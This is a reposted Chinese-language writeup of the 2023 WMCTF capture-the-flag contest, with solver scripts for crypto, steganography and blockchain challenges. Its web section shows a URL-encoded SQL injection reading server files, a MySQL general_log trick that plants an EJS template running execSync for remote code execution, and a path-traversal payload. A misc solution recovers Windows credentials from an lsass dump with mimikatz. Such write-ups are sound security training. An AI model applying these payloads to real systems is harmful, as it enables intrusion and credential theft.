p0=6180341779987794791679383533493441278304482988295728970002010278323541482854731692960937940209758727192081763548392819308255678615763722924309615499520656162884454330561373415478354301786092466775697363738544067442342145060247700246026839702854128676295391218163009975944219348185629657174841
M=19467773070115377343221509599623925236459751278180415885837207534756855405403128279156705968461708578168638327032034542684864920135818987044810141311008655898015207220772515212093850725541003213054560185603695585660265284153421684796257245143362498012760214539505870197264858636122745485373430
n=18032642119891675015634719957039870015742524539858639439834658930008776003013042842143782414576433022649025180063463544831124883394246709797616244731491806211364960528216484262424797661180593324339005911097255958985751877487523079554797230181016640557336071008137273332767517531252916665235565727380930962151007292432998256888216507991203105984331756342933965401731270859582397904670795343305165971015203863978224117710715273814690325025159502003664886848946708639907233664034898208262266153700025555467785836951278004590665403450216441853247495533250979253608834456312501347747669833805276507247340072019703184187053
PR.<x> = PolynomialRing(Zmod(n))
f = x * M + p0
f=f.monic()
x0 = f.small_roots(X=2^55, beta=0.1)[0]
print(x0)
k=int(x0)
p=k*M+p0
q=n//p
c=4079617034740183081821755124678218089786354168383834633301801050676088293809349570896458284893930548921602262125131475415212014863375158250429203329170558886229180667179785276918602876964875159054497577855770836206856860284117478537458936820516436680857603166477024613217285463294620787876922339308060108206572650487934560987099177298397565917583187292291836760665259648849285544837891721363168046307696652568852443614673977068677666682277496995155692885130492657536142514077872108583903003321243677559234220966762684461282898229529300280383743212615126505123019490928111422269345284324442169686613365863804680396934
e = 65537
assert p*q == n
phi = (q-1) * (p-1)
import gmpy2
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
from Crypto.Util.number import *
print(long_to_bytes(int(m)))
#5418423853494913
#b'wmctf{b4d_primE_f4ctor_1s_the_w3akness_for_RSA}'
signin:
bomb_p.py:
from Crypto.Util.number import *
from random import randrange
#from secret import flag
def pr(msg):
print(msg)
def gen_prime(bit):
while 1:
P = getPrime(bit)
if len(bin(P)) - 2 == bit:
return P
pq_bit = 512
offset = 16
#exit()
n=86758785151449191744938975941158722200669600800805368459794834850656970080930362335465080027661006328930574653825568439129882553387281519314853580393073935058899952082418376797606313277816697222072560068329669216678928614030400618388252467702214548838172469805834383735560248777677350803115775241879721247753
hint=69167250174905162041897179328090462215012635495086462121597516046935678093317546942421666720912064247983526842992930843078987617721194124657447425320
#p=hint>>496<<496
#print(p)
#q=n//p
pxx=[]
for sp in range(2**15,2**16):
p0=sp<<496
p=p0
q=n//p
for i in range(496//8):
p=p0+((hint>>(512-24-i*8)^(q>>(512-8-i*8)))<<(512-24-i*8))
q=n//p
#print(i,hex(p))
#print(i,hex(q))
print(sp,hex(p))
if p not in (pxx):
pxx.append(p)
if n%p==0:
print(p)
print("okokok")
break
hnp_done.sage:
from Crypto.Util.number import *
n=10068120009611900710340009228807164287180487837662273666833305581969035457194655810946081012591018177252211844319894653028632995279540894765162752514488423
bs=[3344386149553993761337223236359580606361690184164658066525718886521829553793652350710465647454642658256862221369367887786527716040074170610020748800883861, 7745203019615021142842532182360364322092826789799909558390027396474139456409389025646893577897852334294698561559571870197120878212647907091166204868934650, 9863234688303965158899434191965543293693981548108876081961758006682765581887757230761512951247143952986778767083627682520963699218541684165614718890282929, 5350412218790737097299184814980374042154567641104325793874588652108586125235885320687125502608410491913316640639134520179162782559094506674621595092924384, 9636490626903076339490321106485208567156447550756867861709102693920936368103336146664142344544168680554975777180513422410075385003002541268404125129534761, 1610438099907200485412623070651554161229450740422237557397262301136292919384632813532671862863023656449855084739775870043640469400491381980408252280920795, 6629733570156371237154363596900954663249823855893088503418861526389208540668422438250802584317622835796926489545872253944076786166308667431736258097270312, 3356503946958930353734457494899463197609933968101167420455158554662819880525604791165826400654457265082395057567396548737254221649266301526161363575504975, 9647279981207384646211956846972654597206473453885612514014817612913161583205105589471197415890433123780750566062376540615521453478632099901675175039095055, 3532329355729490928834135327146877689229189663166932586934326475095001791352626582292647589574061380374021810901207279429545546336893426093110946493292923, 2227409922296458653628834356398339827468441517686173568752386847469428917784098155382197274155665630876383871995287365314034360485323284060235403018224999, 4435088696286281181545021545199591254946863521407462888351721693299486903477783075690020243575281763822354300918114017192331360224985744783683515789203538, 9382337544750792045767069920148789402287715888927004986472627859335888441225614326816860187599984897390769930124562791038946460219294354304726370835720456, 4249978508830668027297717916550927102321914023923967886508927184312799312153886298411424888886464144078331790770079119662372212366047670311144186338570205, 7487214284987432476268823658127674861189073424018685662052678102926515617633870929597439317992457956545033835726411581043256299748856840584422901199088548, 5123460207883744644904054621339894571374042793279836275850158535496781700379606224505289751784744993521901837339699561709781491677142587791136401637943713, 4424273678412809045947231625130138083437834526314777868306202878682326894738948372416102070634850520182585732939284407455427209536769070098545909948193299, 3066713559897809809794302164770062357184816385093727916228789439128599923964918067042761738694485339747697469881084252338737106117851971245006815397993415, 4722992296597951775428553693711917996251022627063936229598571146812715678964639696931505521061519535882112458714084686918015181057239246858830885795351528, 7652762742330039010766027879326698732584993145346528759892419120726776065861513432655358420057973014728829305701917875130910713176600729587161287696598770, 9208649908451888867093680655294229201645369526984095124613817893260073203973254263227541304909112956179072151900272954502280918587038388606577688941550183, 9731714045295864885250184587677024977798621550210585898020647201149161725144694742325455938782605517623955274189479583569919325767151683609097709824946126, 4013006694946043270060437378883940835562659476440738578839953846095087545195541402020583950629340534608057526799901631223976561828202368269791370367653851, 8402965907831690688155450578267498717021787522008870726642919793023418221444832441933281554950130503682705116219539333185928920287725039662092666090793683, 3538916404087376557527026137239341467359824083573064742962128740085883468256910858405220711210474043768525945042989516503975645145377852544161308922683674, 3048878001713489375660758552218107587420903010332511161291853577603302727659967309906573235083005661461770762592895406342379512398813418493700198736003203, 6485968711720096307356683831053385993865365496288883733087981105740851157723473329324995521980388501124760494412843349275411322305221048622280863942797239, 4677192363396435433790046582343699373826549654074606615511987300035381286573220303477088850712812644587220186723353652599127338184669715350322262772037668, 7010940641051859474384486753460971901608969627562173846365753383400796990925637811995050589912540301339968589117003742262416175145722610794169122890493950, 1495966448257511027701547307974586849894568636015333492093382901121330665008998930363339788018476392230932883859352269484957756813849888093768791058212288, 796576399355707516684450618615710092912813643572217385607737040315654489799606797785870328856215794334751090225640944394236718122997242792926542235809226, 8883590680287951964717066543784762116840649680435347088143169782355586433583166934520115525787642884936103784843353636645204801113644734694054513378254614, 6400981503613610321805520038921232791270828509769385452609379453916257790832833630151020559886288937758054170902628905890933790418955527792141405417328188, 138472506759671464304203991807914550975235117720777061049769605594025391421712729167145775295066662976060232124363478375937464555520389100394021505529356, 3799314543622309964803479181507385233066096838581338629551106005594989101255823808965335165873512061402051100240253039572360538258297264578906248470638159, 1006101020422249977029343786840901313673266367388891409491924176675335201610623782587443655784864789076184079404045032913325694581195236450708175002762481, 9788789984089939939155389631663032332763855717587278456438352685194224862085067040066866442661127571882134350951317310136981648545787665482211410141032695, 1030437522671760309108326507207853860119041784833767545593288811617145451414737749963253465491432832608506459795498372945314353405267528272379804132270233]
rs=[10500, 54231, 53553, 55605, 37974, 8105, 44755, 12010, 57545, 54005, 16382, 48870, 3056, 61657, 42761, 48611, 31146, 43734, 31897, 45757, 91, 10301, 7336, 42261, 8311, 54496, 20286, 59283, 36654, 21557, 50990, 64144, 10545, 8236, 20851, 15622, 49856, 1241]
print(len(rs))
RR=RationalField(256)
M=Matrix(RR,40,40)
for i in range(38):
M[i,i]=n
for i in range(38):
M[38,i]=(inverse(2^16,n)*bs[i])%n
M[39,i]=(inverse(2^16,n)*rs[i]*(-1))%n
M[38,38]=RR(2^496/n)
M[39,39]=2^496
res=M.LLL()
#print(res[0][-2],res[0][-1])
#print(res[1][-2],res[1][-1])
#print(res[2][-2],res[2][-1])
print(res[1][-2]*n/2^496)
welcomesigner2:
from pwn import *
#context.log_level = 'debug'
from gmpy2 import *
from sage.all_cmdline import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
r = remote('1.13.101.243', 26198)
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '�'))
uu64 = lambda data :u64(data.ljust(8, '�'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def myfastexp(m,d,tmpA,j,N_):
A = tmpA
B = m
n = len(d)
N = N_
for i in range(n):
if d[i] == '1':
A = A * B % N
# a fault occurs j steps before the end of the exponentiation
B = B**2 % N
return A
def get_n():
ru(b"uit")
sl(b"g")
ru(b"n = ")
n0=ru(b"n")
ru(b"| flag_ciphertext = ")
flag=ru(b"n")
n0=str(n0).replace("b'","")
n0=n0.replace("\n'","")
n0=int(n0)
flag=str(flag).replace("b'","")
flag=flag.replace("\n'","")
return n0,flag
def get_n_():
ru(b"uit")
sl(b"f")
ru(b"index:")
sl(b"255,100")
ru(b" n_ -> ")
n_0=ru(b"n")
n_0=str(n_0).replace("b'"","")
n_0=n_0.replace(""\n'","")
n_0=int(n_0)
return n_0
def get_s(i):
ru(b"uit")
sl(b"s")
ru(b"want to interfere:")
sl(i)
ru(b'signature of "Welcome_come_to_WMCTF" is ')
s=ru(b"n")
s=str(s).replace("b'","")
s=s.replace("\n'","")
s=int(s)
return s
n,flag=get_n()
print(flag)
n_=get_n_()
print(n,n_)
print(gcd(n,n_))
s0=get_s("0")
s1=get_s("1")
dnum=0
tmpA=0
msg = bytes_to_long(b"Welcome_come_to_WMCTF")
for i in range(1000,1024):
B=pow(msg,2**i,n)
B1=pow(B,2,n_)
B=pow(B,2,n)
#print(i,B1)
A0=(s0*invert(B,n))%n
A1=(s1*invert(B1,n_))%n_
if A0==A1:
print(i)
dnum=i+1
tmpA=A0
break
print(dnum,tmpA)
dxx="1"
for i in range(2,dnum+1):
B=pow(msg,2**(dnum-i),n)
B1=pow(B,2,n_)
B=pow(B,2,n)
tmpjg=myfastexp(B1,"0"+dxx,tmpA,i,n_)
s=get_s(str(i))
if(s==tmpjg):
dxx="0"+dxx
else:
dxx="1"+dxx
tmpA=(tmpA*invert(B,n))%n
print()
dxx="1"+dxx
dxx=dxx[::-1]
d=int(dxx,2)
key = bytes.fromhex(md5(str(d).encode()).hexdigest())
enc = AES.new(key,mode=AES.MODE_ECB)
flag=int(flag,16)
flag=long_to_bytes(flag)
c = enc.decrypt(flag)
print(c)
MISC
Oversharing:
题目容器是ssh,附件是流量,推测需要在流量中找到凭证进行连接
在流量中找到lsass.DMP文件,导出
使用mimikatz提取凭证
得到
Username:randark
Password:1a05cf83-e450-4fbf-a2a8-b9fd2bd37d4e
连接
find me:
根据题目描述,前往Reddit寻找WearyMeadow
找到一串base64,aHR0cHM6Ly91ZmlsZS5pby82NzB1bnN6cA==
解码得到
访问后下载得到一个流量
审计发现进行了三次认证,当key=mysecretkey时认证成功开始会话
转换为原始数据
最长的那一串应该就是包含有flag的密文数据了
根据题目描述,我们应该还需要找到加密以及解密数据的脚本
发现Reddit中WearyMeadow还有个blog的链接,访问
找到了疑似加密脚本的文章
需要密码
在github中也找到了WearyMeadow
发现有一个自动登录的项目,其中有一个login.py的脚本
在其中找到了一个密码:P@sSW0rD123$%^解密博客文章
得到了server.py与client.py
根据逻辑编写exp
import socket
import random
from Crypto.Cipher import AES
from sys import argv
import binascii
def pad(s):
return s + b"�" * (AES.block_size - len(s) % AES.block_size)
def encrypt(message, key):
seed = random.randint(0, 11451)
random.seed(seed)
encrypted = b''
for i in range(len(message)):
encrypted += bytes([message[i] ^ random.randint(0, 255)])
cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(pad(encrypted))
return encrypted
key = b'mysecretkey'.ljust(16,b'x00')
print(key)
hex_ciphertext = "778f6cc13090c6a4f0b51939d784a6b38512f80a92b82bf8225fb8bfed713b2f8eee53dfbe228c7296449d904467a1677c83b9534e2dfcfcbc6f7b08f77f96f2"
ciphertext = binascii.unhexlify(hex_ciphertext)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(ciphertext)
print(decrypted_data)
unpadded = decrypted_data.rstrip(b'x00')
print(unpadded)
print()
for i in range(11451):
seed = i
random.seed(seed)
original_message = b''
for j in range(len(unpadded)):
original_message += bytes([unpadded[j] ^ random.randint(0, 255)])
# print(original_message)
if b'WMCTF' in original_message:
print(original_message)
运行得到flag
Fantastic terminal:
在文件out.wasm中查找到了flag
回到wasm文件中搜索一下:
Fantastic terminal Rev:
没有hexdump和xxd。
用gpt给的命令把challenge给dump出来。
od -t x1 -A n -v challenge | sed 's/ / /' | sed 's/ / /g' | sed 's/ $//'
然后就变成逆向签到题了。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v3; // eax
__int64 v4; // rdi
dword_4014 = 0;
v3 = time(0LL);
v4 = v3;
srand(v3);
sub_1325();
while ( dword_4014 <= 9 )
sub_143F();
sub_136C(v4, a2);
return 0LL;
}
void __fastcall sub_143F()
{
int v0; // [rsp+0h] [rbp-10h] BYREF
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("nNow for round %dn", (unsigned int)(dword_4014 + 1));
v1 = rand() % 10;
printf("Tell me your answer:");
__isoc99_scanf("%d", &v0);
if ( v1 != v0 )
{
puts("Nonono!n");
exit(0);
}
puts("Congratulations!");
++dword_4014;
}
复制到本地后,把判断nop了,直接获得flag。
Now for round 10
Tell me your answer:2
Congratulations!
Here's what you want:
WMCTF{r3venge_term1nal_after_fuck1ng_paatchhhhhhhhhhhhh}
应该是非预期。
STEG
EZ_v1deo:
保存第一榛视频,看看有没有隐写
结果:
就懂了 观察过后,应该是每5帧一个循环没5帧提前一张:
Mondy left me Broken:
像某种置乱算法,爆破一下:
import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2
def arnold_decode(image, shuffle_times, a, b):
decode_image = np.zeros(shape=image.shape)
h, w = image.shape[0], image.shape[1]
N = h # 或N=w,N=h
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
new_y = ((-a)*ori_x + ori_y) % N
decode_image[new_x, new_y] = image[ori_x, ori_y]
cv2.imshow("image",decode_image)
cv2.waitKey(10)
cv2.imwrite(i,decode_image)
return decode_image
final = imread('flag.png')
for z in range(0,1000):
i = str(z) + '.png'
arnold_decode(final, 10, z,z)
拿到一个图
大早上看到吓我一跳,然后确定是猫脸变换且a=5 b=5
写一个变换视频的:
import cv2
import numpy as np
def arnold_decode(image, shuffle_times, a, b):
# 创建新图像
decode_image = np.zeros(shape=image.shape, dtype=np.uint8)
# 计算N
h, w = image.shape[0], image.shape[1]
N = h # 或N=w
# 遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
new_y = ((-a) * ori_x + ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
return decode_image
# 打开待解码视频
video_path = "final.mkv"
cap = cv2.VideoCapture(video_path)
fps = int(cap.get(cv2.CAP_PROP_FPS))
frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
num_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
a = 5
b = 5
st = 1
# 创建输出视频
output_path = "decoded_final.mp4"
fourcc = cv2.VideoWriter_fourcc(*'mp4v') # 使用MP4编解码器
out = cv2.VideoWriter(output_path, fourcc, fps, (frame_width, frame_height))
# 逐帧解码和保存
for _ in range(num_frames):
ret, frame = cap.read()
if ret:
decoded_frame = arnold_decode(frame, st, a, b)
out.write(decoded_frame)
else:
break
# 释放资源
cap.release()
out.release()
cv2.destroyAllWindows()
得到:
有两个信息第一是原视频为:bilibil:oeraezzyb第二个为水印参数:
到这就没思路了,后续官方给了个hint
通过格式工厂,保存原版视频:
分离两个视频的音频,并放入audacity中查看:
题目的音频明显加了隐写,放入Adobe Audition后发现了东西:
尝试提取一下上面的二维码:
保存一张相对清晰的,尝试扫一下:
尝试了几个工具都不行,本打算用qrazybox手动恢复,最后我用微信扫了一下:
QRazyBox - QR Code Analysis and Recovery Toolkit (merri.cx)
拼接得到flag:
WMCTF{Vedio_Audio_I_CAN_GOT_both}
WEB
myblog:
存在sql注入可以读取文件 通过起docker可以找到pin码的位置 直接读取
在执行sql语句处进行操作
GET /post/%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%6c%6f%61%64%5f%66%69%6c%65%28%22%2f%68%6f%6d%65%2f%65%7a%62%6c%6f%67%2f%2e%70%6d%32%2f%6c%6f%67%73%2f%6d%61%69%6e%2d%6f%75%74%2e%6c%6f%67%22%29%2c%33%20/edit HTTP/1.1
Host: bbf07101-625f-4096-aafe-ea3695f9a6b6.wmctf.wm-team.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://fd847197-cc3c-4dfa-bc2b-98d9ac0e4dc0.wmctf.wm-team.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 1
CREATE DATABASE mysql;
use mysql;
CREATE TABLE general_log (
event_time TIMESTAMP(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6),
user_host MEDIUMTEXT NOT NULL,
thread_id BIGINT UNSIGNED NOT NULL,
server_id INT UNSIGNED NOT NULL,
command_type VARCHAR(64) NOT NULL,
argument MEDIUMBLOB NOT NULL
) ENGINE=CSV CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/home/ezblog/views/post.ejs';
可以通过创建general_log的方式 设置general_log_file 在输入的sql语句中加入ejs模板注入 可以实现rce
select '<%= process.mainModule.require("child_process").execSync("/readflag").toString() %>';
最后切换到ctf库
ez_java_agagin:
直接netdoc读取
你的权限放着我来:
先进行注册,登录后查看源码 给了一些提示和邮箱
经过测试发现密码找回功能能够收到邮件
收到邮件后访问该链接进行抓包 然后访问该api接口进行密码修改
这里的话email换成前面给的固定的那几个邮箱 一个一个试就可以 token得为空 不然会失败
AnyFileRead:
绕过这个就行 然后谷歌去搜怎么绕过
然后这样就可以绕过进行文件读取了
/admin/../flag
BLOCKCHAIN
babyblock:
分别尝试0和1即可
mollvme:
pow验证后得到字节码
结合题目名称猜测是move语言编译生成的字节码
可使用工具aptos反汇编
aptos move disassemble --bytecode-path bytecode.mv --assume-yes
需要注意的是,bytecode.mv不能直接复制字节码hex过来,需要转成bytes类型
反汇编后,指令参考:
https://cookbook.starcoin.org/zh/docs/move/move-vm/summary/
可以看到需要do_solve返回True,分析do_solve,首先判断长度为32
接着是给idx为5的一个vector(命名为arr)添加一堆值
然后是读idx为4的一个vector的值,下标由LdU64确定
而idx为4的vector就是输入inp
于是955~957相当于读取inp[10]的值到栈上
960~962相当于读取arr[6]的值到栈上
然后比较inp[10]和arr[6]
可以看到,如果这两个值相等,则会提前返回False
于是这里要求inp[10]!=arr[6]
反观,如果inp[28]!=arr[107]为False,即inp[28]==arr[107],则会继续走BrFalse分支,此时可以确定inp[28]的值,即为arr[107]
经过分析多处类似的block,大胆猜测,如果使得所有判断inp[idx1]和arr[idx2]Neq的结果全为False,即可全走BrFalse,从而避免提前的Ret,同时能够确定inp[idx1]==arr[idx2]
于是最终脚本如下:
import re
from pwn import *
context.log_level = "debug"
io = remote("43.132.224.5", 13337)
io.recvuntil(b"You can run the solver with:n")
target = io.recvline().decode().split(" ")
target = target[len(target)-1]
cmd = "python3 pow.py solve " + target
sol = subprocess.Popen(
cmd, shell=True, stdout=subprocess.PIPE).stdout.read().decode()
io.sendlineafter(b"Solution? ", sol.encode())
io.recvuntil(b"Here is the bytecode:n")
bytecode = io.recvline().decode().strip("n")
bytecode = bytes.fromhex(bytecode)
with open("bytecode.mv", "wb") as f:
f.write(bytecode)
subprocess.call(
"aptos move disassemble --bytecode-path bytecode.mv --assume-yes", shell=True)
with open("disassembled-code.move", "r") as f:
code = f.readlines()
inp = [-1]*32
arr = []
inp_arr_map = []
inpStart = False
arrStart = False
idx = 0
while idx < len(code):
if arrStart == False:
line = code[idx]
if "VecPack(5, 0)" in line:
arrStart = True
idx += 1
idx += 1
else:
l0, l1, l2 = code[idx], code[idx + 1], code[idx + 2]
if "MutBorrowLoc" in l0 and "LdU64" in l1 and "VecPushBack" in l2:
num = re.search(r"LdU64((.*))", l1).group(1)
arr.append(int(num))
idx += 3
elif "Arg0: vector<u8>" in l2:
inpStart = True
break
while idx < len(code):
if inpStart == False:
line = code[idx]
if "Arg0: vector<u8>" in line:
inpStart = True
idx += 1
else:
tmp = []
Neq = False
while not code[idx].startswith("B"):
if "LdU64" in code[idx]:
num = re.search(r"LdU64((.*))", code[idx]).group(1)
tmp.append(int(num))
elif "Neq" in code[idx]:
Neq = True
idx += 1
if len(tmp) == 2 and Neq:
inp_arr_map.append(tmp)
inpStart = False
for map in inp_arr_map:
inp[map[0]] = arr[map[1]]
io.sendlineafter(b"Your input:", bytes(inp).hex())
io.interactive()
# WMCTF{Sui_1s_4_4w3s0m3_4nd_3ff1c13nt_4rch1t3ctur3_FLAG_IS_GENERATED_BY_COPILOT}
FOOTER
CTF组招新:
1. Web:Java,Go,Rust,Node.js,PHP等熟悉任意两种及以上代码审计,加分项:有高质量cve,学习能力强。
2. Crypto:熟悉数论,群论等,加分项:格大佬,会sage脚本,会做nc交互题,学习能力强。
3. Reverse:熟悉多种语言包括但不限于go、rust,熟悉脱壳、反反调试姿势,会Android flutter逆向,frida检测,去ollvm混淆和mov混淆,加分项:手搓天手搓地。
4. Pwn:熟悉多种house of利用技巧、高版本堆利用姿势,加分项:kernel,qemu、musql等。
5. Blockchain:来者不拒,加分项:solana pwn,move系列,学习能力强。
6. Misc:熟悉各种编码、隐写术、流量分析思路,熟练掌握取证技术,加分项:会其他任意两个方向以上普通难度的题,学习能力强。
其他:iOS,IOT,车联网,AI等无明确标准。
联系qq2944508194
原文始发于微信公众号(山海之关):2023 WMCTF writeup by W4ntY0u
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论